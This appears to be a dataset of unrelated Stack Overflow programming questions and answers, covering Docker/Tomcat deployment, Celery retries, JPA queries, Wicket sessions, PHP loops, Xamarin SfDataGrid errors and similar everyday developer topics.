37472279	0	Run war with tomcat in docker <p>I've followed these two post <a href="https://stackoverflow.com/questions/29201262/deploying-java-webapp-to-tomcat-8-running-in-docker-container">1</a> &amp; <a href="https://stackoverflow.com/questions/27818856/docker-add-warfile-to-official-tomcat-image">2</a> and neither work. I'm currently building my tomcat with the below.</p> <p>Build File</p> <pre><code>FROM tomcat:8.0 COPY server/build/libs/server.war /usr/local/tomcat/webapps/server.war CMD ["catalina.sh", "run"] </code></pre> <p>Terminal</p> <pre><code>docker build -t my_server . docker run -it -rm -p 8080:8080 </code></pre> <p>When I go to <code>http:localhost:8080</code> I see the manager home page but <code>http:localhost:8080/server</code> or <code>http:localhost:8080/server/webapp/</code>do not show up. My terminal tells me that my war is getting added, but nothing that says it's expanded</p> <pre><code> INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive /usr/local/tomcat/webapps/server.war has finished in 2,518 ms </code></pre>
22882564	0	Go/Mgo -> []byte in MongoDB, slice of unaddressable array <p>I'm getting a:</p> <blockquote> <p>reflect.Value.Slice: slice of unaddressable array</p> </blockquote> <p>Error when I'm trying to add a sha256 hash to a mongoDB with mgo. Other []bytes work fine.</p> <pre><code>hash := sha256.Sum256(data) err := c.Col.Insert(bson.M{"id": hash}) </code></pre> <p>Any idea what the problem might be? I know I could encode the hash as a string but that should not be necessary.</p>
20375665	0	How to run a loop with a specific interval in casperjs? <p>I want to automate clicking a button with <code>id='vote'</code> 3 times with an interval of say 5 seconds with <strong>casperjs</strong>, for that I have written the code below</p> <pre><code> var casper = require('casper').create(); casper.start('http://www.mysite.com/mypage'); casper.repeat(3, function() { this.click('#vote'); }); casper.then(function() { console.log('clicked vote ,and voted successfully , and curernt url is ' + this.getCurrentUrl()); }); casper.run(); </code></pre> <p>But this only working once, what I want to do is to repeat the loop 3 times with a specific interval, since this is a JavaScript ajax post on clicking the vote button and it updates the database, is it doing all 3 clicks at once? What do I have to do to avoid that, and update the database 3 times?</p>
37190864	0	How I can show only three elements of my associative array using for? <p>This is my Associative Array:</p> <pre><code>$vetor = array( "Name"=&gt; "myName", "Tel"=&gt; "555-2020", "Age"=&gt; "60", "Gender"=&gt; "Male" ); </code></pre> <p>How I can show only three elements using the loop <code>for</code>?</p> <p>I tried this:</p> <pre><code>for($i=0; $i&lt;=2; $i++){ echo $vetor[$i]."&lt;br&gt;"; } </code></pre> <p>But without success. How I can do this?</p>
8250133	0	 <p>I haven't tested this, but it seems like it should work off the top of my head.</p> <pre><code>int spacesCount = 0; NSRange textRange; textRange = [string rangeOfString:@" "]; if(textRange.location != NSNotFound) { spacesCount = spacesCount++; } NSLog(@"Spaces Count: %i", spacesCount); </code></pre>
12801761	0	Force page expiration in wicket 1.5.8 <p>I'm trying to expire all previous versions of a given page with Wicket 1.5.8. In wicket 1.4, it was done by <code>getPage().getPageMap().clear()</code>. Now in wicket 1.5, page map is gone, and I can't figure out how to dot that.</p> <p>My use case is that I have a wizard (http://www.wicket-library.com/wicket-examples/wizard/) to create/edit an entity. When the wizard is submitted, the user is redirected to the entities list. At this point I don't want the user to be able to use the browser back button to go back to the wizard in the state it was, and thus want to expire previous versions of the page with the wizard (I am using <code>getPageSettings().setRecreateMountedPagesAfterExpiry(true);</code> so the mounted page will be recreated in a blank state if the page expires when the user goes back, which is what I want).</p> <p>Looking around I found the possibility to use <code>Session.get().clear();</code> which removes all pages from the Session (I don't know if the 1.4 version was removing all pages or just all versions of the page used to access the PageMap - which would be better for multi-tab support). However, using that works only partly, as the last page is not expired.</p> <p>Supposing the wizard is mounted at <code>/wizard</code>, redirecting to <code>/list</code> at the end, the flow would be something like: <code>/wizard?1</code>, <code>/wizard?2</code>, <code>/wizard?3</code>, <code>/list</code>. Now when I use the back button, <code>/wizard?3</code> is not expired, although <code>/wizard?1</code> and <code>/wizard?2</code> are as expected. The session clearing and sending to the list page are done in the <code>onFinish</code> method of the wizard, which reads like this:</p> <pre><code>@Override public void onFinish() { Session.get().clear(); Session.get().getFeedbackMessages().add(new FeedbackMessage(..)); setResponsePage(ListPage.class); } </code></pre> <p>So, come to the question itself: would anyone know how to get the expected behaviour, i.e. expiring <code>/wizard?3</code> as well?</p> <p>Thanks</p> <p>Note: <code>ListPage</code> is a bookmarkable page and I tried as well with <code>setResponsePage(new ListPage());</code></p> <hr> <p><strong>Update with what I finally did base on Andrea's suggestion</strong></p> <p>It is to be noted that my application uses a custom session object extending wicket's <code>Session</code>; let's call it <code>AppSession</code>.</p> <ol> <li>in <code>AppSession</code>, I added a <code>boolean clearRequested</code> attribute (defaults to false)</li> <li>in <code>AppSession</code>, I added a static void method <code>requestClear()</code> which is just a shortcut to set <em>clearRequested</em> to true in the session</li> <li>in the <code>onFinish()</code> of my wizard, just before calling <code>setResponsePage</code>, I call <code>AppSession.requestClear()</code></li> <li><p>lastly I just add a <code>RequestCycleListener</code> to my application.</p> <pre><code>getRequestCycleListeners.add(new AbstractRequestCycleListener() { @Override public void onBeginRequest(RequestCycle cycle) { super.onBeginRequest(cycle); AppSession session = AppSesssion.get(); if (session.isClearRequested()) { session.clear(); session.setClearRequested(false); } } }); </code></pre></li> </ol> <p>Now anytime I need to clear session after an action in order to expire pages, I juste call <code>AppSession.requestClear()</code> and in the next request the session is cleared.</p>
22441824	0	Windows batch way to replace all files in subdirectories with singular file (copy, rename all files) <p>I have a good command over <code>cmd</code> commands, but this may require a variable or a loop which is where I fail in batch commands. Please help if you can!</p> <p>-- Have about 100 subdirectories each has 1-20 HTML files in it. There are about 100 HTML files in the root directory too. -- Need to replace all HTML files in the above directories with the same HTML source (copy over existing file and keep the name the same). Basically trying to replace all existing files with a redirect script to a new server for direct bookmarked people. We are running a plain webserver without access to server-side redirects so trying to do this just by renaming the files (locked down corp environment).</p> <p>Seems pretty simple. I can't get it to work with wildcards by copying the same file over to replace. I only get the first file replaced, but the rest of the files will fail. Any one with any advice?</p>
37954321	0	In Rails, why do I get a "can't write unknown attribute" when I try and save my model with non-nil state and country member fields? <p>I’m using Rails 4.2.3. I have the following model …</p> <pre><code>class MyObjectTime &lt; ActiveRecord::Base belongs_to :my_object has_one :state has_one :country </code></pre> <p>I’m having an issue when I try and save my entity with non-empty state and country objects. I have</p> <pre><code> state = State.find_by_iso_and_country_id(hometown_parts[1].strip!, us_country.id) country = state.country my_object_time = MyObjectTime.new(:name =&gt; my_object_time[2], :age =&gt; my_object_time[7], :time_in_ms =&gt; time_in_ms, :overall_rank =&gt; my_object_time[1], :city =&gt; city, :state =&gt; state, :country =&gt; country, :gender_rank =&gt; my_object_time[7], :my_object_id =&gt; my_object_id) </code></pre> <p>but unless both “state” and “country” are nil, I get the error</p> <pre><code>ActiveModel::MissingAttributeError can't write unknown attribute `my_object_time_id` </code></pre> <p>Everything will save fine if both these fields are nil. What’s going on and how can I fix it?</p> <p><b>Edit:</b> Here is the PostGres description of the table in question</p> <pre><code>davedb=&gt; \d my_object_times; Table "public.my_object_times" Column | Type | Modifiers ----------------+-----------------------------+--------------------------------------------------------- id | integer | not null default nextval('my_object_times_id_seq'::regclass) my_object_id | integer | not null first_name | character varying | last_name | character varying | time_in_ms | bigint | created_at | timestamp without time zone | not null updated_at | timestamp without time zone | not null name | character varying | age | integer | city | character varying | state_id | integer | country_id | integer | overall_rank | integer | age_group_rank | integer | gender_rank | integer | Indexes: "my_object_times_pkey" PRIMARY KEY, btree (id) "index_my_object_times_on_country_id" btree (country_id) "index_my_object_times_on_my_object_id" btree (my_object_id) "index_my_object_times_on_state_id" btree (state_id) Foreign-key constraints: "fk_rails_0fe1d25967" FOREIGN KEY (country_id) REFERENCES countries(id) "fk_rails_a8771b3575" FOREIGN KEY (state_id) REFERENCES states(id) "fk_rails_ba656ceafa" FOREIGN KEY (my_object_id) REFERENCES my_bojects(id) ON DELETE CASCADE Referenced by: TABLE "user_my_object_time_matches" CONSTRAINT "fk_rails_2e7860946c" FOREIGN KEY (my_object_time_id) REFERENCES my_object_times(id) </code></pre>
31819559	0	 <p><a href="https://github.com/sockjs/sockjs-client" rel="nofollow">SoketJS Github</a></p>
16825149	1	Can't get "retry" to work in Celery <p>Given a file <code>myapp.py</code></p> <pre><code>from celery import Celery celery = Celery("myapp") celery.config_from_object("celeryconfig") @celery.task(default_retry_delay=5 * 60, max_retries=12) def add(a, b): with open("try.txt", "a") as f: f.write("A trial = {}!\n".format(a + b)) raise add.retry([a, b]) </code></pre> <p>Configured with a <code>celeryconfig.py</code></p> <pre><code>CELERY_IMPORTS = ["myapp"] BROKER_URL = "amqp://" CELERY_RESULT_BACKEND = "amqp" </code></pre> <p>I call in the directory that have both files:</p> <pre><code>$ celeryd -E </code></pre> <p>And then</p> <pre><code>$ python -c "import myapp; myapp.add.delay(2, 5)" </code></pre> <p>or</p> <pre><code>$ celery call myapp.add --args="[2, 5]" </code></pre> <p>So the <code>try.txt</code> is created with</p> <pre><code>A trial = 7! </code></pre> <p>only once. That means, the retry was ignored.</p> <p>I tried many other things:</p> <ul> <li>Using MongoDB as broker and backend and inspecting the database (strangely enough, I can't see anything in my broker "messages" collection even in a "countdown"-scheduled job)</li> <li>The PING example in <a href="http://comments.gmane.org/gmane.comp.python.amqp.celery.user/3745" rel="nofollow">here</a>, both with RabbitMQ and MongoDB</li> <li>Printing on the screen with both <code>print</code> (like the PING example) and <code>logging</code></li> <li>Make the retry call in an except block after an enforced <code>Exception</code> is raised, raising or returning the retry(), changing the "throw" parameter to <code>True</code>/<code>False</code>/not specified.</li> <li>Seeing what's happening with <code>celery flower</code> (in which the "broker" link shows nothing)</li> </ul> <p>But none happened to work =/</p> <p>My <code>celery report</code> output:</p> <pre><code>software -&gt; celery:3.0.19 (Chiastic Slide) kombu:2.5.10 py:2.7.3 billiard:2.7.3.28 py-amqp:N/A platform -&gt; system:Linux arch:64bit, ELF imp:CPython loader -&gt; celery.loaders.default.Loader settings -&gt; transport:amqp results:amqp </code></pre> <p>Is there anything wrong above? What I need to do to make the retry() method work?</p>
10455298	0	Best practices using JPA to load object from query with a list member <p>I'm getting started with JPA and I want to know the best way to achieve something like this: I need to implement a service that returns a list of scripts, and each script has a list of parameters. I simplified the query, but it is something like this:</p> <pre><code>(SELECT p.DESC FROM INPUT_PARAMETERS p INNER JOIN SCRIPT_PARAMS sp ON p.PARAM_ID = sc.PARAM_I INNER JOIN SCRIPT s ON s.SCRIPT_ID = sc.SCRIPT_ID WHERE s.NAME = 'name') UNION (SELECT p.DESC FROM OUPUT_PARAMETERS p INNER JOIN SCRIPT_PARAMS sp ON p.PARAM_ID = sc.PARAM_I INNER JOIN SCRIPT s ON s.SCRIPT_ID = sc.SCRIPT_ID WHERE s.NAME = 'name') </code></pre> <p>And I want to return a list of POJO objects that are something like:</p> <pre><code>public class Script { private String name; private List&lt;String&gt; params; public Script(){} public String getName() { return name; } public void setName(String pName) { name = pName; } public List&lt;String&gt; getParams() { return params; } public void setParams(List&lt;String&gt; pParams) { params = pParams; } } </code></pre> <p>I want to know what is the best way to load the POJO object from a query. Is it best to build a JPQL query, or can I use a Native Named Query, and do I need to get a object[] and construct my POJOs manually, or can I use JPA to load the objects from the query?</p>
1552189	0	 <p>The kiosk API is probably your best bet for this, though I haven't used it in years and don't know if it's even supported anymore. </p> <p><a href="http://developer.apple.com/mac/library/technotes/tn2002/tn2062.html" rel="nofollow noreferrer">http://developer.apple.com/mac/library/technotes/tn2002/tn2062.html</a></p>
39996249	0	 <p>finally I made this code which is working for me </p> <pre><code> $(".wp-list-table input[name='users[]']:checked").each(function(){ row = $(this).closest("tr"); anchor = $(this).closest('tr').find("a:first"); }); alert($(anchor).text()); </code></pre>
20506347	0	 <p>So it turned out, that there was something wrong with the connection. It was created with that code:</p> <pre><code>void PostgresqlDatabase::pgMDBconstruct(std::string host, std::string port, std::string user, std::string password, std::string dbname ) { std::string conn_info = "host=" + host + " port=" + port + " user=" + user + " password=" + password + " dbname=" + dbname; connection_= PQconnectdb(conn_info.c_str()); if (PQstatus(connection_)!=CONNECTION_OK) { ROS_ERROR("Database connection failed with error message: %s", PQerrorMessage(connection_)); } } </code></pre> <p>With <code>host=192.168.10.100, port=5432, user=turtlebot, password= , dbname=rosdb.</code><br> But an empty username doesn't satisfy the usage of PQconnectdb, which, for some parsing-reason, caused it to login to the database "turtlebot". That database unfortunately existed on my server. And there it - of course - didn't get any notifications sent out in the "rosdb"-database and had a good connection.</p> <p>What an, for me, awkward and unlucky behaviour.</p>
21010639	0	While loop with assignment operator <p>I can't seem to figure out how this loop works in PHP:</p> <pre><code>$people = array(); while($row = $result-&gt;fetch_assoc()) $people[] = $row; </code></pre> <p>It seems as though the loop would just keep going, infinitely. But, it doesn't How exactly does this work? Can someone explain it to me step-by-step? I'm guessing that the while loop could also be written like this:</p> <pre><code>while(($row = $result-&gt;fetch_assoc()) == true) </code></pre>
15829271	0	 <p>You can easy add it as static param to url manager rules. I recommend using urls in form <code>/en/controller/action</code> etc, so first parameter is always language. I'm using this approach for long time and works like a charm.</p> <p>For details check this answer: <a href="http://stackoverflow.com/a/4625710/133408">http://stackoverflow.com/a/4625710/133408</a></p>
720154	0	 <p>You might want to try:</p> <pre><code>$(document).ready(function(){ $(".shareLink").hide(); $("a.trigger").click(function(e){ e.preventDefault(); $(this).next().toggle("400"); }); }); </code></pre> <p>The answer is it depends on the structure of your document. Here is a sample of something that will work with the above function.</p> <pre><code>&lt;a class="trigger"&gt;click here&lt;/a&gt; &lt;div class="shareLink"&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. &lt;/div&gt; </code></pre>
7349006	0	 <p>Maybe you should take a look at <a href="http://download.oracle.com/javase/1.5.0/docs/api/java/util/concurrent/CompletionService.html" rel="nofollow">CompletionService</a></p> <p>It is designed to combine executor and a queue functionality in one. Tasks which completed execution will be available from the completions service via </p> <pre><code>completionServiceInstance.take() </code></pre> <p>You can then again use another executor for 3. i.e. fill DB with the results, which you will feed with the results taken from the completionServiceInstance.</p>
21226407	0	 <p>SpawnUri automatically appends ".js" when compiled to JavaScript.</p>
33498464	0	 <p>I dont know if this is a good method with parameters, but it works well The method receives a list of "ParamDbList"(Collection of ParamDB) and insert rows every 1000 registers or 1900 parameters(limit of 2000). Just adapt this for your drive</p> <pre><code> public bool InsertBatch(System.Collections.Generic.List&lt;ParamDbLIST&gt; dados, string tabela) { if (dados.Count == 0) return true; string campos = ""; dados[0].ForEach(delegate(ParamDB p) { campos += (campos == "" ? "" : ", ") + "@" + p.sNOME + "#N#"; }); bool resultado = true; //Insere de 999 a 999, que é o máximo q o sql server permite por vez //Maximo de 2000 parametros int k = 0; while (k &lt; dados.Count) { this.sql = new StringBuilder(); List&lt;String&gt; vals = new List&lt;string&gt;(); ParamDbLIST parametros_insert = new ParamDbLIST(); int c_sqls = 0; int c_parametros = 0; while (k &lt; dados.Count &amp;&amp; c_sqls &lt; 1000 &amp;&amp; c_parametros &lt; 1900) { c_sqls++; vals.Add("(" + campos.Replace("#N#", c_sqls.ToString()) + ")"); foreach (ParamDB p in dados[k]) { p.sNOME += c_sqls.ToString(); parametros_insert.Add(p); c_parametros++; } k++; } this.sql.Append("INSERT INTO " + tabela + "(" + campos.Replace("#N#", String.Empty).Replace("@", String.Empty) + ") VALUES " + String.Join(",", vals)); resultado = resultado &amp;&amp; this.RunSQL(sql.ToString(), parametros_insert); } return resultado; } public class ParamDbLIST : System.Collections.ObjectModel.Collection&lt;ParamDB&gt; {/*I have other stuff here, but this will work*/} public class ParamDB { public string sNOME { get; set; } public Object sVALOR { get; set; }} </code></pre> <p>Remember the method INSERT INTO tbl_name (a,b,c) VALUES (1,2,3), (4,5,6), (7,8,9); has a limit of 1000 rows per command.</p> <p>I think a good thing to do here would be to use transaction(for secure)</p> <p>The method you should change is RunSQL</p> <p>If this method can be optimized, please let me know</p>
16642547	0	 <p>I did it finally. for example i have a file in <code>localjost:8000/media/1.jpg</code> and i want to get ip of the user who enters this url to load the <code>1.jpg</code>.</p> <p>I added this line in my urls : <code>url(r'^media/(?P&lt;path&gt;.*)$', 'project.views.serve','document_root': settings.MEDIA_ROOT,}),</code> and i set the MEDIA_ROOT already. then in <code>project.views.serve</code> i called <code>django.views.static.serve</code> and i returned the result of that as a HttpResponse. i have a request argument in my <code>project.views.serve</code> and i did this to get the user's ip from that :</p> <pre><code>x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR') if x_forwarded_for: ip = x_forwarded_for.split(',')[-1].strip() else: ip = request.META.get('REMOTE_ADDR') print ip </code></pre>
20176691	0	 <p>Your problem is exacerbated by the datastructure you are using. Although it is suitable for printing, it is not especially good for performing the operation you want to perform.</p> <p>You need to use, or create a datastructure which supports row and column operations. You might like to use a <code>numpy</code> <code>array</code> to store this data, and then manipulate it with slicing operations.</p>
3472462	0	Git repository was suddenly broken <p>My git repository was suddenly broken. I had been working as usual, but when I typed in <code>git status</code> to see my changes, it said:</p> <pre><code>error: inflate: data stream error (incorrect data check) fatal: object 0dbfde4875a5f9c5fe25b4d1b9d34ab58986501e is corrupted </code></pre> <p>What can I do to recover my repository?</p>
31573202	0	 <p><em>Premise</em>: I really think the ideal way to solve your problem is convert your stored datetimes to UTC, and then use that when you search.</p> <p>But you said you can't change those, so using <code>ConvertTime</code> to convert them at request time is probably your best second option.</p> <ul> <li><a href="https://msdn.microsoft.com/en-us/library/bb382770(v=vs.110).aspx" rel="nofollow">Here</a> you can find all the details you need.</li> <li>You might also want to give a look at <a href="http://nodatime.org/" rel="nofollow">Noda Time</a>, which is quite useful when dealing with TimeZones and DateTime.</li> </ul>
17297696	0	 <p>"std::array wants to behave like a c-array" is not how the standard describes behavior. It's a user-defined type, and members of user-defined types are initialized by calling their constructor, i.e. <code>array&lt;int,10&gt;::array()</code></p>
16849635	0	 <p>Please Reset Content and Settings of simulator from top menu and try in again. It will surely sign out from old account.</p>
40630202	0	AppDelegate in IOS fails when navigating to a page with SfDataGrid on it <p>i'm having problems with SfDataGrid on IOS that works fine on Android</p> <p>when i try to navigat to a page called "Hovedside" that has a SfDataGrid it gose into Main.cs in the IOS part and fails on UIApplication.Main(args, null, "AppDelegate");</p> <pre><code>using System; using System.Collections.Generic; using System.Linq; using Foundation; using UIKit; namespace PrismUnityApp2.iOS { public class Application { // This is the main entry point of the application. static void Main(string[] args) { try { UIApplication.Main(args, null, "AppDelegate"); } catch (Exception e) { throw; } } } } </code></pre> <p>with this output: System.NullReferenceException: Object reference not set to an instance of an object</p> <p>at Syncfusion.SfDataGrid.XForms.iOS.ExtendedScrollViewRenderer.WillMoveToWindow (UIKit.UIWindow window) [0x0000b] in :0 </p> <p>at (wrapper managed-to-native) UIKit.UIApplication:UIApplicationMain (int,string[],intptr,intptr)</p> <p>at UIKit.UIApplication.Main (System.String[] args, System.IntPtr principal, System.IntPtr delegate) [0x00005] in /Users/builder/data/lanes/3818/3983064a/source/xamarin-macios/src/UIKit/UIApplication.cs:79 </p> <p>at UIKit.UIApplication.Main (System.String[] args, System.String principalClassName, System.String delegateClassName) [0x00038] in /Users/builder/data/lanes/3818/3983064a/source/xamarin-macios/src/UIKit/UIApplication.cs:63 </p> <p>at PrismUnityApp2.iOS.Application.Main (System.String[] args) [0x00002] in C:\Users\asr\Desktop\GBS APP bakups\PrismUnityApp2 b4 scanner\PrismUnityApp2\PrismUnityApp2.iOS\Main.cs:20 </p> <p>There is nothing in the error list</p> <p>if i remove the SfDataGrid then it navigates just fine to the page</p> <p>i have the Required assemblies that syncfusion shows on <a href="https://help.syncfusion.com/xamarin/sfdatagrid/getting-started" rel="nofollow noreferrer">https://help.syncfusion.com/xamarin/sfdatagrid/getting-started</a></p> <p>i feel like im missing something in AppDelegate but can't find out what it may be</p> <pre><code> using System; using System.Collections.Generic; using System.Linq; using Foundation; using UIKit; using Prism.Unity; using Microsoft.Practices.Unity; using Syncfusion.SfDataGrid.XForms.iOS; namespace PrismUnityApp2.iOS { // The UIApplicationDelegate for the application. This class is responsible for launching the // User Interface of the application, as well as listening (and optionally responding) to // application events from iOS. [Register("AppDelegate")] public partial class AppDelegate : global::Xamarin.Forms.Platform.iOS.FormsApplicationDelegate { // // This method is invoked when the application has loaded and is ready to run. In this // method you should instantiate the window, load the UI into it and then make the window // visible. // // You have 17 seconds to return from this method, or iOS will terminate your application. // public override bool FinishedLaunching(UIApplication app, NSDictionary options) { ZXing.Net.Mobile.Forms.iOS.Platform.Init(); global::Xamarin.Forms.Forms.Init(); SfDataGridRenderer.Init(); LoadApplication(new App(new iOSInitializer())); return base.FinishedLaunching(app, options); } } public class iOSInitializer : IPlatformInitializer { public void RegisterTypes(IUnityContainer container) { } } } </code></pre> <p><a href="https://github.com/ZarpGitHub/PrismUnityApp-gbs" rel="nofollow noreferrer">https://github.com/ZarpGitHub/PrismUnityApp-gbs</a></p> <p>im using visual studio 2015 community, xamarin, prism v6.2.0 Xam.Plugin.Geolocator v3.0.4 and Syncfusion 14.3451.0.49. mostly running it on a sony xperia z3 with Android version 6.0.1 and using API 23 i also use test it on a virtual iphone 6s plus IOS 10.0</p> <p>Any help is deeply appreciated</p>
5522482	0	 <p>Before I started university they recommended: <a href="http://scratch.mit.edu/" rel="nofollow">Scratch</a> from MIT. I haven't used it heavily but it was fun and you get a feel for programming. How does that look?</p>
37810727	0	Popup value in Simulink Mask doesn't refresh <p>I am currently masking a block in simulink. The mask contains a popup list called dbclist with hardcoded type options (1, 2, 3, ..., 7). The callback function of said popup list looks like this:</p> <pre><code>msk = Simulink.Mask.get(gcb); dbcPopup = msk.getParameter('dbclist'); dbcPopup.Value </code></pre> <p>When changing the value of dbclist while using the mask the command window always responds with:</p> <pre><code>ans = 1 ans = 1 ans = 1 </code></pre> <p>How can I get the actual value of dbclist? I am using MATLAB 2014b on Mac OS X.</p>
29551594	0	 <p>As stated in the <a href="https://developer.apple.com/library/ios/releasenotes/General/iOS83APIDiffs/modules/MapKit.html">iOS 8.3 API Diffs in the MapKit module</a>, the <code>setCoordinate</code> method was removed:</p> <blockquote> <p><em>Removed</em> MKAnnotation.setCoordinate(CLLocationCoordinate2D)</p> </blockquote> <p><br> Fortunately, you must now use the simpler assignment syntax (which was already available in previous versions of Swift and the same could be done in Objective-C):</p> <pre><code>annotation.coordinate = location </code></pre>
4269785	0	 <p>You are in an infinite loop because you are setting the property (prop2) to itself.</p>
40669353	0	\s and whitespace in vim <pre><code>:%s/^\s\{4\}//g </code></pre> <p>It can replace four blank spaces at the beginning of a line with zero blank space. We draw the conclusion that <code>\s</code>=whitespace <code>\{4\}</code>=four times.</p> <pre><code>:%s/^\s\{4\}/ /g </code></pre> <p>It can replace four blank spaces at the beginning of a line with two blank spaces.<br> And it is obvious that <code>\s\{2\}</code>=two white spaces.</p> <pre><code>:%s/^\s\{4\}/\s\{2\}/g </code></pre> <p>Why the command can't replace four blank spaces at the beginning of a line with two blank spaces? Why the command means that to replace four blank spaces at the beginning of a line with s{2} ?</p>
1922981	0	 <p>You will need to do the printing yourself, as everyone suggested here.</p> <p>It's worthy to note that some languages (e.g. Scala, Ruby, Groovy) have language features that enable you to write:</p> <pre><code>x should be(3) </code></pre> <p>And that will report:</p> <pre><code>0 should be 3 but is not. </code></pre> <p>In Groovy, with <a href="http://code.google.com/p/spock" rel="nofollow noreferrer">Spock testing framework</a>, you can write:</p> <pre><code>def "my test": when: x = 0 expect: x == 3 </code></pre> <p>And that would output:</p> <p>Condition not satisfied:</p> <pre><code>x == 3 | | | 0 | 3 false </code></pre> <p>I don't think this possibly cleanly in python though.</p>
17296831	0	What is Best practice in objective c for creating an object and setting its properties <p>Considering I have a <code>UIViewController</code> called <code>ErrorViewController</code> that I am instantiating using <code>initWithNibName</code>.</p> <p>There is a enum on this <code>ErrorViewController</code> describing its "type".</p> <p>This <code>ErrorViewController</code> has one delegate function that returns to its delegate which will respond according to the type set on the <code>ErrorViewController</code>.</p> <p>Is it better to pass all the parameters within a new <code>initWithNibName</code> function, and set private properties on the <code>ErrorViewController</code>. Like this:</p> <pre><code>ErrorViewController *errorVc = [[ErrorViewController alloc] initWithNibName:@"ErrorViewController" bundle:nil andErrorType:kErrorTypeA andDelegate:self]; - (id)initWithNibName:(NSString *)nibNameOrNil bundle:(NSBundle *)nibBundleOrNil andErrorType:(ErrorType)errorType andDelegate:(id&lt;ErrorDelegate&gt;)delegate{ self = [super initWithNibName:nibNameOrNil bundle:nibBundleOrNil]; if (self) { self.delegate = delegate; self.errorType = errorType; } return self; } </code></pre> <p>Or is it better to instantiate the object and afterward set its public properties like this:</p> <pre><code>ErrorViewController *errorVc = [[ErrorViewController alloc] initWithNibName:@"ErrorViewController" bundle:nil]; errorVc.delegate = self; errorVc.type = kErrorTypeA. </code></pre> <p>And regarding the delegate method, is it best practice to check the type by passing a parameter, or by checking the property of the passed back Controller as follows:</p> <pre><code>- (void)ErrorPage:(ErrorViewController *)ErrorPage // check ErrorPage.errorType } </code></pre> <p>or this: ?</p> <pre><code>- (void)ErrorPage:(ErrorViewController *)ErrorPage andErrorType:(ErrorType)errorType // check errorType } </code></pre>
27918323	0	 <p>You can do it like this. But i have cheked your code and it works as well. I dont know why you getting not enabled products...</p> <pre><code>var manufacturers = (from o in _context.Manufacturer where o.Enabled select new { manufacturers = o, products = o.Products.Where(c=&gt;c.Enabled).ToList() }).ToList(); </code></pre>
10797153	0	 <p>Maybe you can try it like this: </p> <pre><code>com1.CommandText = "TRB01.set_idoc('DOC','1','" + sender + "','" + reciver + "'," + "to_timestamp_tz('"+ cre_date + "','yyyy-mm-dd\"T\"hh24:mi:ss:TZH:TZM'),'" + bod_ID + "')"; com1.ExecuteNonQuery(); </code></pre> <p>Though a better solution should be by havaing a <code>DateTime</code> in c# code and adding it as an OracleParameter</p>
966691	0	 <p>You wouldn't retain ClassA in ClassB, because ClassA already owns ClassB and it's assumed that when ClassA is deallocated, it will take care of cleaning up any references in ClassB.</p> <p>If you followed the "normal" rules of ownership and retained ClassA when setting the delegate method in ClassB, you'd end up with a retain loop where neither objects would ever be deallocated. Instead, you should be using a weak reference exactly like you are.</p>
20395887	0	 <p>you can do null check for <code>edittext.getText()</code> &amp; try it to put somewhere in code where you have an input for editext</p>
8630585	0	 <p>First, I don't think that setting <code>$MaxPrecision</code> and/or <code>$MachinePrecision</code> will have the effect that you desire. Here's an example.</p> <pre><code>$MaxPrecision = $MinPrecision = $MachinePrecision; result1 = Nest[4 # (1 - #) &amp;, 0.123, 10^6]; // Timing result2 = Nest[4 # (1 - #) &amp;, SetPrecision[0.123, $MinPrecision], 10^6]; // Timing </code></pre> <p>On my machine, the first computation takes 8 hundreths of a second, while the second computation takes nearly three seconds. The reality is that the first computation is done in machine arithmetic, while the second is done in software arithmetic, that happens to have the same numerical precision.</p> <p>I think that the easiest way to force machine arithmetic in Mathematica 8 is to use <code>Compile</code> with the <code>"CatchMachineOverflow"</code> and <code>"CatchMachineUnderflow"</code> set to <code>False</code>; or better yet just set <code>"RuntimeOptions"</code> to <code>"Speed"</code>.</p> <p>Also, I think the reason you are getting 0 for your <code>AbsoluteTiming</code> command is that you have set the precision too low to represent the result.</p>
19212372	0	CQRS where to put domain / business logic <p>I am developing framework for MVC application. As part of framework, I have created a dummy application. I am following Onion Architecture and SOLID principle with CQRS. This is my first project with MVC and CQRS. I am also following Chain of Responsibility in CQRS.</p> <p>At present I am not sure about the part where I should keep business logic.</p> <p>Example. I have Command of Debit Account from bank account. I have created command as DebitAccount and handler as IDebitAccountHandler. IDebitAccountHandler will be implemented in Infrastructure layer with required dependencies as DebitAccountHandler.</p> <p>Here I have core logic of checking balance before debiting account. I would want to implement this in Core as it does not change with Infrastructure.</p> <p>Now where should I implement this logic and also load required dependencies. My commands are interfaces without any method body, also they contain only on method of Handle/Execute. </p> <p>I feel this is newbie question and arising due to my limited understanding of patterns.</p>
36620854	0	 <p><a href="https://msdn.microsoft.com/en-us/library/ms141821.aspx" rel="nofollow">I would use a lookup transformation</a> No need for staging - no need to write SQL code - it's the way SSIS was meant to be!</p>
4053572	0	Updating IValueConverter through code <p>I'm trying to figure out if its possible to update an IValueConverter through the code behind.</p> <p>My situation is that I've got two ComboBoxes. Once the first one is updated, I change the ItemsSource property of the second to be one of a variety of enums. I've grabbed an EnumToFriendlyNameConverter from CodeProject, but I'm not sure how to set it.</p> <p>If I set the converter in the ItemsSource (see below) then it gets ignored when I next set the items source.</p> <p><code>ItemsSource="{Binding Converter={StaticResource enumItemsConverter}}"</code></p> <p>I found that it is possible by using an ItemTemplate but then I have to manually place in a label, which then has a different style to my other combobox. Getting the styles right just seems like a lot of work...</p>
2227628	0	 <p>You could check if pasting the text is faster:</p> <pre><code>textbox1.SelectionStart = textbox1.GetFirstCharIndexOfCurrentLine(); textbox1.SelectionLength = 0; textbox1.Paste(";"); </code></pre> <p>Edit:<br> As the textbox isn't a textbox after all, but a richtextbox, the Paste method works differently. You can put the text in the clipboard and paste it, or use the SelectedText property instead:</p> <pre><code>textbox1.SelectedText = ";"; </code></pre>
